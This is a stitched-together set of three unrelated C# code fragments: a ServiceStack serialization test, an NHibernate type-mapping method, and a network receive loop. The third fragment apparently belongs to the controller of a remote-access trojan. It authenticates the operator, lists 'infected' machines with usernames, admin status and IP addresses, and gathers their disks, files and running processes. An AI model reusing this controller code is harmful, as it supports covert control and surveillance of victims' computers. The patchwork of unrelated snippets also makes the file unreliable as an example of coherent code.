public void CustomDateTimeSerialization() { // serialization var thing = new CustomThing { From = new DateTime(2020, 04, 24, 1, 2, 3), To = null, Now = new DateTime?(new DateTime(2019, 12, 24, 1, 2, 3)), Then = new DateTime?(), Start = new DateTime(2020, 05, 19, 2, 48, 55), }; var ss = new ServiceStackSerializer(); var json = ss.Serialize(thing); Assert.NotNull(json); WriteLine(JsonFormatter.FormatJson(json)); var obj = ss.Deserialize <CustomThing>(new RestResponse() { Content = json }); Assert.NotNull(obj); }
public object NullSafeGet(IDataReader rs, string[] names, object owner) { if (names.Length == 0) { throw new ArgumentException("Expecting at least one column"); } int id = (int)NHibernateUtil.Int32.NullSafeGet(rs, names[0]); var obj = new CustomThing { Id = id }; // here you can grab your data from external service return(obj); }
public static void ReceiveData(TcpClient client) { ns = client.GetStream(); byte[] receivedBytes = new byte[1024]; int byte_count; try { while ((byte_count = ns.Read(receivedBytes, 0, receivedBytes.Length)) > 0) { string d = Encoding.UTF8.GetString(receivedBytes, 0, byte_count); // MessageDisplayer.Log(d); string[] splitter = d.Split('|'); if (d.Contains("authsuccess")) { Perso.Me.username = Form1.username; new Thread(() => { Form2 frm = new Form2(); frm.ShowDialog(); }).Start(); Form1.todo = "d"; } if (d.Contains("authfail")) { MessageBox.Show("Tu t'es trompé / tu ne fait pas partit de l'élite, navré poto"); } if (d.Contains("LOG")) { string logid = splitter[1]; string msg = splitter[2]; string secmsg = ""; try { secmsg = splitter[3]; } catch { } switch (logid) { case "adminconnect": MessageDisplayer.AdminConnect(msg); break; case "SelectSuccess": MessageDisplayer.SelectBool(true, msg, secmsg); break; case "SelectFailed": MessageDisplayer.SelectBool(false, msg, secmsg); MessageBox.Show("L'utilisateur que vous essayez de séléctionner est probablement déconnecté \r\n toute tentative d'envoie de commande sur ce PC sera par conséquent inutile"); break; case "ACTIVITY": MessageDisplayer.Log(msg); break; } } if (d.Contains("NewDisk")) { string reqID = splitter[0]; string dirName = splitter[1]; DiskDirectory dd = new DiskDirectory(dirName); DiskDirectory.diskDirectories.Add(dd); } if (d.Contains("NewFile")) { string reqID = splitter[0]; string dirName = splitter[1]; CustomThing dd = new CustomThing(dirName); CustomThing.customThings.Add(dd); //MessageDisplayer.Log("New Created file " + CustomThing.customThings.Count.ToString()); } if (d.Contains("NewFolder")) { string reqID = splitter[0]; string dirName = splitter[1]; CustomThing dd = new CustomThing(dirName); CustomThing.customThings.Add(dd); //MessageDisplayer.Log("New Created folder " + CustomThing.customThings.Count.ToString()); } if (d.Contains("empty")) { MessageDisplayer.Log("Aucun infecté !"); } if (d.Contains("NewProcess")) { string[] split = d.Split('|'); string processname = split[1]; string processid = split[2]; string processTitle = split[3]; bool todo = true; CustomProcess cp = new CustomProcess(processname, processid, processTitle); foreach (CustomProcess cps in CustomProcess.customProcesses) { if (cps.processid == processid) { todo = false; } } if (todo == true) { CustomProcess.customProcesses.Add(cp); } } if (d.Contains("USERS")) { User.users.Clear(); string[] global = d.Split(';'); //USERS;dzqd|qdoqzd|zqdpqokz|qzqzdp; string reqid = global[0]; //MessageDisplayer.LoadUsers(); foreach (string s in global) { if (!s.Contains("USERS")) { if (s == "") { } else { try { string[] split = s.Split('|'); string poste = split[0]; string user = split[1]; string isadmin = split[2]; string ip = split[3]; User u = new User(user, poste, isadmin, ip); if (!User.users.Contains(u)) { User.users.Add(u); MessageDisplayer.UserConnected(user); } } catch { } } } } // MessageDisplayer.UsersLoaded(); } } } catch { Form1.current = Form1.State.DECONNECTE; } }